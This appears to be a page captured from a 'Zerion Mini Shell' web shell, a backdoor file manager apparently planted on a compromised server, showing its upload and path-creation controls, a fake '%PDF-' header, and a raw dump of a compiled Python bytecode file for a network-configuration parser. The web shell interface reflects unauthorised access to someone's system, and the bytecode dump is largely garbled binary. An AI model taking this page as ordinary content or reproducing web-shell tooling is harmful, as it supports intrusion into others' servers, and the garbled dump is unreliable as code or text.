%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core18/current/usr/lib/python3/dist-packages/probert/__pycache__/
Upload File :
Create Path :
Current File : //snap/core18/current/usr/lib/python3/dist-packages/probert/__pycache__/utils.cpython-36.pyc

3

��ZXu�@s�ddlmZddlZddlZddlZddlZddlZddddddd	d
ddd
ddddddddddddgZddddddgZd d!d"d#d$d%d&d'gZ	d(d)�Z
ejd?kr�d+d,�Znd-d,�Ze
d.fd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Zd=d>�ZdS)@�)�deepcopyNZaddressZnetmaskZ	broadcastZnetworkZmetricZgatewayZpointtopointZmediaZmtuZhostnameZ
leasehoursZ	leasetimeZvendorZclientZbootfile�serverZhwaddrZprovider�frameZnetnumZendpointZlocalZttlzpre-upZupzpost-upZdownzpre-downz	post-downZ
bridge_ageingZbridge_bridgeprioZ	bridge_fdZ
bridge_gcinitZbridge_helloZ
bridge_maxageZbridge_maxwaitZ
bridge_stpcCs�t|�}t|t�r*t|t�r*|j|�|Sx�|j�D]v\}}||kr�t||t�rpt|t�rpt|||�||<q�t||t�r�t|t�r�tt|||��||<q4|||<q4W|S)N)r�
isinstance�list�extend�items�dict�
dict_merge�set)Zonto�source�target�key�value�r�//usr/lib/python3/dist-packages/probert/utils.pyr
s
r
�cCsBi}x8|jD].}|jj|�}t|t�r2|jdd�}|||<qW|S)Nzutf-8�replace)�
attributes�getr�bytes�decode)�device�rr�valrrr�udev_get_attributes-s
rcCsDi}x:|jjD].}|jj|�}t|t�r4|jdd�}|||<qW|S)Nzutf-8r)rZavailable_attributesrrrr)rrrrrrrr6s
�cs(dd�ttj�fdd�|D�|��D�S)Ncss |]\}}dd�||�VqdS)cs�fdd�|D�S)Nc3s|]\}}|�kr|VqdS)Nr)�.0Zpred�item)�irr�	<genexpr>Bsz:partitionn2.<locals>.<genexpr>.<lambda>.<locals>.<genexpr>r)r�teer)rr�<lambda>Bsz'partitionn2.<locals>.<genexpr>.<lambda>Nr)r�x�trrrr Bszpartitionn2.<locals>.<genexpr>c3s|]}�|�|fVqdS)Nr)rr)�	predicaterrr Cs)�	enumerate�	itertoolsr!)rr%�nr)r%r�partitionn2Asr)cs>|j��t��fdd�dd�}dd�|D�}|\\}}||fS)z{Unpack a partition into a tuple of (first partition, second partition)

    param: partition iterator from partitionn2
    cs�j|�dkS)Nr)�index)r#)rrrr"Qsz#partition_to_pair.<locals>.<lambda>r)rr%r(cSsg|]}t|��qSr)r)r�prrr�
<listcomp>Ssz%partition_to_pair.<locals>.<listcomp>)�splitr))�inputZ
partitions�datarrr)rr�partition_to_pairJs

r0cCsdd�|jd�D�S)NcSs&g|]}t|�r|jd�dj��qS)�;r)�lenr-�strip)rr#rrrr,Zsz3disentagle_data_from_whitespace.<locals>.<listcomp>�
)r-)r/rrr�disentagle_data_from_whitespaceXsr5cCs~i}i}xbt|�D]V}t|�dkr$qt|�\}}|dkrP|j|d|di�qdj|�}|j||i�qW|jd|i�|S)zuTransform lease string into dictionary of attributes

    params: lease: string if a dhcp lease structure { to }
    r�option�� �options)r5r2r0�update�join)�leaseZ
lease_dictr9�linerrrrr�
dictify_lease^s
r>cCsdd�tjd|jdd��D�S)z�Parses dhclient leases file data, returning dictionary of leases

    :param leasesdata: string of lease data read from leases file
    cSsg|]}t|��qSr)r>)rr<rrrr,ysz.parse_dhclient_leases_file.<locals>.<listcomp>z
{([^{}]*)}�"�)�re�findallr)�	leasedatarrr�parse_dhclient_leases_filetsrDcCsRi}xH|jd�D]:}|jd�st|�dkr,q|jd�}|d||dj�<qW|S)z6Parses systemd/networkd/netif lease data, returns dictr4�#r7�=r)r-�
startswithr2�lower)rCr<r=Zkeyvaluerrr�parse_networkd_lease_file}s
rIcCs*ddg}x|D]}tjj|�r|SqWdS)Nz
/var/lib/dhcpz/var/lib/dhclient)�os�path�exists)Zsupported_dirs�drrr�get_dhclient_d�s

rNcCs6d}|}�x�|j�D�]�}|j�}|jd�r.q|jd�}|d}|dkr\tjj||d�}q|dkr�tjj||d�}xPtj|�D]B}	t|	d��}
|
j	�j�}WdQRXt
||tjjtjj|	���q�Wq|d	k�rx0|dd�D] }||kr�i||<d
||d	<q�Wq|dk�rl|dd�\}}
}||k�r8i||<nd
||k�rNt
d��|
||d
<|||d<|}q|dk�r�|d||d<q|tk�r�|d|||<q|tk�r�|||k�r�g|||<|||jdj|dd���q|jd��r�d||k�ri||d<|dk�rZg||dd<xv|dd�D]}||ddj|��q8WnH|dk�rg||dd<x,|dd�D]}||ddj|��q�Wq|jd�rd||k�r�i||d<|tk�r�|jdd�}|d||d|<q|dk�r>g||dd<x�|dd�D]}||ddj|��qWq|dk�rp|dj�dk�rp|d||dd<q|dk�r�d ||dk�r�i||dd <|d||dd |d<q|d!krd"||dk�r�i||dd"<|d||dd"|d<qWx,|j�D] }d	||k�rd#||d	<�qWdS)$z�Parses the file contents, placing result into ifaces.

    :param ifaces: interface dictionary
    :param contents: contents of interfaces file
    :param path: directory interfaces file was located
    NrEr8rzsource-directoryr7rr�autoT�iface��familyz!Cannot define %s interface again.�methodZ	hwaddresszdns-Zdnsz
dns-search�searchzdns-nameserversZnameserversZbridge_Zbridger@Zbridge_portsZportsZ	bridge_hwZmacrZbridge_pathcostZpathcostZbridge_portprioZportprioF)�
splitlinesr3rGr-rJrKr;�glob�open�read�parse_etc_network_interfaces�dirname�abspath�	Exception�NET_CONFIG_OPTIONS�NET_CONFIG_COMMANDS�append�NET_CONFIG_BRIDGE_OPTIONSrrH�keys)Zifaces�contentsrKZcurrifZsrc_dirr=r-r6Zsrc_pathZsrc_file�fpZsrc_datarPrRrSZdomainrZ
bridge_optionrrrrY�s�








"





 rY)rr)�copyrrVr'rJrAZpyudevr]r^r`r
Z__version_info__r�intr)r0r5r>rDrIrNrYrrrr�<module>s0

				

Zerion Mini Shell 1.0